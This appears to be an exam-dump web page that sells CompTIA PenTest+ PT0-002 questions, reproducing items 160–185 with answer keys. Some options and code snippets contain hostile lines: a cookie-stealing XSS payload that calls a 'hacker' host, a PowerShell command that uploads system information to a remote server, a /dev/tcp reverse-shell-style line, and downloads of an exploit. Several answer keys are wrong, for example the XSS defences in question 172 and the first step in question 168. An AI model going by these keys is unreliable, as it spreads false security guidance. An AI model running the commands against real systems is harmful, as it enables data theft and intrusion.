Grab latest CompTIA PT0-002 Dumps as PDF Updated on 2023
Newly Released PT0-002 Dumps for CompTIA PenTest+ Certified
CompTIA PenTest+ Exam Certification Details:
| Exam Price | $381 (USD) |
| Passing Score | 750 / 900 |
| Books / Training | CompTIA PenTest+ Certification Training |
| Schedule Exam | CompTIA Marketplace Pearson VUE |
| Sample Questions | CompTIA PenTest+ Sample Questions |
| Exam Name | CompTIA PenTest+ |
| Duration | 165 mins |
| Number of Questions | 85 |
How much is the cost of the CompTIA PT0-002 Certification Exam?
The fee for taking the CompTIA PT0-002 Certification Exam is 381 USD.
NEW QUESTION # 160
Which of the following documents must be signed between the penetration tester and the client to govern how any provided information is managed before, during, and after the engagement?
- A. NDA
- B. SOW
- C. ROE
- D. MSA
Answer: A
NEW QUESTION # 161
A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?
- A. iam_privesc_scan
- B. iam_bruteforce_permissions
- C. iam_backdoor_assume_role
- D. iam_enum_permissions
Answer: D
NEW QUESTION # 162
A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following:
* Connected to 10.2.11.144 (::1) port 80 (#0)
> GET /readmine.html HTTP/1.1
> Host: 10.2.11.144
> User-Agent: curl/7.67.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Date: Tue, 02 Feb 2021 21:46:47 GMT
< Server: Apache/2.4.41 (Debian)
< Content-Length: 317
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress › ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
Which of the following tools would be BEST for the penetration tester to use to explore this site further?
- A. DirBuster
- B. Burp Suite
- C. WPScan
- D. OWASP ZAP
Answer: C
NEW QUESTION # 163
A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position.
Which of the following actions, if performed, would be ethical within the scope of the assessment?
- A. Exploiting a configuration weakness in the SQL database
- B. Establishing and maintaining persistence on the domain controller
- C. Intercepting outbound TLS traffic
- D. Gaining access to hosts by injecting malware into the enterprise-wide update server
- E. Leveraging a vulnerability on the internal CA to issue fraudulent client certificates
Answer: C
NEW QUESTION # 164
A penetration tester was contracted to test a proprietary application for buffer overflow vulnerabilities. Which of the following tools would be BEST suited for this task?
- A. Burp Suite
- B. GDB
- C. Netcat
- D. SearchSpliot
Answer: B
NEW QUESTION # 165
A penetration tester is contracted to attack an oil rig network to look for vulnerabilities. While conducting the assessment, the support organization of the rig reported issues connecting to corporate applications and upstream services for data acquisitions. Which of the following is the MOST likely culprit?
- A. Patch installations
- B. Application failures
- C. Bandwidth limitations
- D. Successful exploits
Answer: D
NEW QUESTION # 166
A penetration tester conducted a discovery scan that generated the following:
Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?
- A. nmap -o 192.168.0.1-254, cut -f 2
- B. nmap -sn 192.168.0.1-254 , grep "Nmap scan" | awk '{print S5}'
- C. nmap --open 192.168.0.1-254, uniq
- D. nmap -oG list.txt 192.168.0.1-254 , sort
Answer: B
Explanation:
Explanation
the NMAP flag (-sn) which is for host discovery and returns that kind of NMAP output. And the AWK command selects column 5 ({print $5}) which obviously carries the returned IP of the host in the NMAP output.
NEW QUESTION # 167
A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server.
Which of the following can be done with the pcap to gain access to the server?
- A. Perform vertical privilege escalation.
- B. Replay the captured traffic to the server to recreate the session.
- C. Utilize a pass-the-hash attack.
- D. Use John the Ripper to crack the password.
Answer: C
NEW QUESTION # 168
A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?
- A. schtasks /query /fo LIST /v | find /I "Next Run Time:"
- B. certutil
-urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe - C. wget
http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe - D. powershell
(New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')
Answer: D
NEW QUESTION # 169
A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial dat
a. Which of the following should the tester do with this information to make this a successful exploit?
- A. Use browser autopwn.
- B. Use BeEF.
- C. Perform XSS.
- D. Conduct a watering-hole attack.
Answer: C
NEW QUESTION # 170
A penetration tester downloaded the following Perl script that can be used to identify vulnerabilities in network switches. However, the script is not working properly.
Which of the following changes should the tester apply to make the script work as intended?
- A. Move all the lines below line 7 to the top of the script.
- B. Remove line 6.
- C. Remove lines 3, 5, and 6.
- D. Change line 2 to $ip= 10.192.168.253;
Answer: C
Explanation:
https://www.asc.ohio-state.edu/lewis.239/Class/Perl/perl.html
Example script:
#!/usr/bin/perl
$ip=$argv[1];
attack($ip);
sub attack {
print("x");
}
NEW QUESTION # 171
A penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the wmic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?
- A. MP4 steganography
- B. Alternate data streams
- C. PowerShell modules
- D. PsExec
Answer: C
Explanation:
Explanation
"Windows Management Instrumentation (WMI) is a subsystem of PowerShell that gives admins access to powerful system monitoring tools."
NEW QUESTION # 172
Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
- A. Output encoding
- B. Session tokens
- C. Base64 encoding
- D. Parameterized queries
- E. Web-application firewall
- F. Input validation
Answer: B,D
NEW QUESTION # 173
A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?
- A. Nmap
- B. Scapy
- C. tcpdump
- D. hping3
Answer: B
Explanation:
Explanation
https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating_packets/index.html
NEW QUESTION # 174
A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment.
Which of the following actions should the tester take?
- A. Perform forensic analysis to isolate the means of compromise and determine attribution.
- B. Create a detailed document of findings before continuing with the assessment.
- C. Halt the assessment and follow the reporting procedures as outlined in the contract.
- D. Incorporate the newly identified method of compromise into the red team's approach.
Answer: C
NEW QUESTION # 175
A penetration tester has been hired to examine a website for flaws. During one of the time windows for testing, a network engineer notices a flood of GET requests to the web server, reducing the website's response time by 80%. The network engineer contacts the penetration tester to determine if these GET requests are part of the test. Which of the following BEST describes the purpose of checking with the penetration tester?
- A. Rescheduling
- B. Deconfliction
- C. Situational awareness
- D. DDoS defense
Answer: B
Explanation:
https://redteam.guide/docs/definitions/
NEW QUESTION # 176
A penetration tester ran the following command on a staging server:
python -m SimpleHTTPServer 9891
Which of the following commands could be used to download a file named exploit to a target machine for execution?
- A. powershell -exec bypass -f \\10.10.51.50\9891
- B. nc 10.10.51.50 9891 < exploit
- C. bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
- D. wget 10.10.51.50:9891/exploit
Answer: D
NEW QUESTION # 177
During an engagement, a penetration tester found the following list of strings inside a file:
Which of the following is the BEST technique to determine the known plaintext of the strings?
- A. Dictionary attack
- B. Rainbow table attack
- C. Brute-force attack
- D. Credential-stuffing attack
Answer: B
NEW QUESTION # 178
A new client hired a penetration-testing company for a month-long contract for various security assessments against the client's new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings.
Which of the following is most important for the penetration tester to define FIRST?
- A. Establish the method of potential false positives.
- B. Establish the preferred day of the week for reporting.
- C. Establish the format required by the client.
- D. Establish the threshold of risk to escalate to the client immediately.
Answer: C
NEW QUESTION # 179
A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT?
- A. Perform jamming on all 2.4GHz and 5GHz channels.
- B. Set the malicious AP to broadcast within dynamic frequency selection channels.
- C. Modify the malicious AP configuration to not use a pre-shared key.
- D. Send deauthentication frames to the stations.
Answer: D
NEW QUESTION # 180
Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?
- A. The rules of engagement from the assessment
- B. Information regarding the business impact if compromised
- C. A quick description of the vulnerability and a high-level control to fix it
- D. The executive summary and information regarding the testing company
Answer: C
Explanation:
Explanation
The systems administrator and the technical stuff would be more interested in the technical aspect of the findings
NEW QUESTION # 181
Which of the following tools provides Python classes for interacting with network protocols?
- A. Responder
- B. Empire
- C. PowerSploit
- D. Impacket
Answer: D
NEW QUESTION # 182
A penetration tester completed an assessment, removed all artifacts and accounts created during the test, and presented the findings to the client. Which of the following happens NEXT?
- A. The client applies patches to the systems.
- B. The client clears system logs generated during the test.
- C. The penetration tester deletes all scripts from the client machines.
- D. The penetration tester conducts a retest.
Answer: A
NEW QUESTION # 183
An assessment has been completed, and all reports and evidence have been turned over to the client. Which of the following should be done NEXT to ensure the confidentiality of the client's information?
- A. Encrypt and store any client information for future analysis
- B. Publish the findings after the client reviews the report
- C. Follow the established data retention and destruction process
- D. Report any findings to regulatory oversight groups
Answer: A
NEW QUESTION # 184
A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data.
Which of the following should the tester verify FIRST to assess this risk?
- A. Whether the cloud applications were developed using a secure SDLC
- B. Whether sensitive client data is publicly accessible
- C. Whether the connection between the cloud and the client is secure
- D. Whether the client's employees are trained properly to use the platform
Answer: B
NEW QUESTION # 185
......
The CompTIA PT0-002 (CompTIA PenTest+ Certification) Certification Exam is designed to measure the knowledge and skills of candidates when it comes to penetration testing. This is a critical aspect of information security that involves identifying and exploiting vulnerabilities in computer systems and software solutions. The exam is ideal for individuals who want to solidify their understanding of penetration testing methodologies and practices, and who want to demonstrate their expertise in this area to potential employers.
Latest PT0-002 Exam Dumps CompTIA Exam from Training: https://pass4sure.passtorrent.com/PT0-002-latest-torrent.html